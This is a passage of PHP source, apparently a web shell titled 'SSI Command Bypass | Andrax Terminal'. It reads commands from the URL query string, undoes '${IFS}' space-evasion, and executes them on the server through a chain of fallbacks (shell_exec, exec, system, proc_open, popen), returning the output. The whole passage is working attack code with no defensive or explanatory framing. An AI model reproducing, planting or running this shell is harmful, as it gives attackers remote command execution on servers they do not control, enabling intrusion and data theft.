&1');
if ($output === null) $output = "";
}
if (empty($output) && function_exists('exec')) {
@exec($cmd . ' 2>&1', $exec_out, $return_code);
$output = implode("\n", $exec_out);
if ($return_code !== 0 && empty($output)) {
$output = "";
}
}
if (empty($output) && function_exists('system')) {
ob_start();
$return = @system($cmd . ' 2>&1', $return_code);
$output = ob_get_clean();
if ($return === false || ($return_code !== 0 && empty($output))) {
$output = "";
}
}
if (empty($output) && function_exists('proc_open')) {
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
];
$process = @proc_open($cmd, $descriptorspec, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if (!empty($errors)) {
$output .= ($output ? "\n" : "") . $errors;
}
}
}
if (empty($output) && function_exists('popen')) {
$handle = @popen($cmd . ' 2>&1', 'r');
if (is_resource($handle)) {
$output = stream_get_contents($handle);
pclose($handle);
}
}
$output = preg_replace('/^<\?php\s*/', '', $output);
header('Content-Type: text/plain');
echo $output === "" ? "" : $output;
exit;
}
$output_result = "";
$last_command = "";
$raw_cmd = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
if (!empty($raw_cmd)) {
$last_command = urldecode($raw_cmd);
$last_command = str_replace('${IFS}', ' ', $last_command);
$last_command = trim($last_command);
} else {
$last_command = "";
}
if (!empty($last_command)) {
if (function_exists('shell_exec')) {
$output_result = @shell_exec($last_command . ' 2>&1');
}
if (empty($output_result) && function_exists('exec')) {
@exec($last_command . ' 2>&1', $exec_out);
$output_result = implode("\n", $exec_out);
}
if (empty($output_result) && function_exists('system')) {
ob_start();
@system($last_command . ' 2>&1');
$output_result = ob_get_clean();
}
if (empty($output_result)) {
$output_result = "[!] No output from: " . htmlspecialchars($last_command);
}
}
$display_output = nl2br(htmlspecialchars($output_result));
?>
SSI Command Bypass | Andrax Terminal
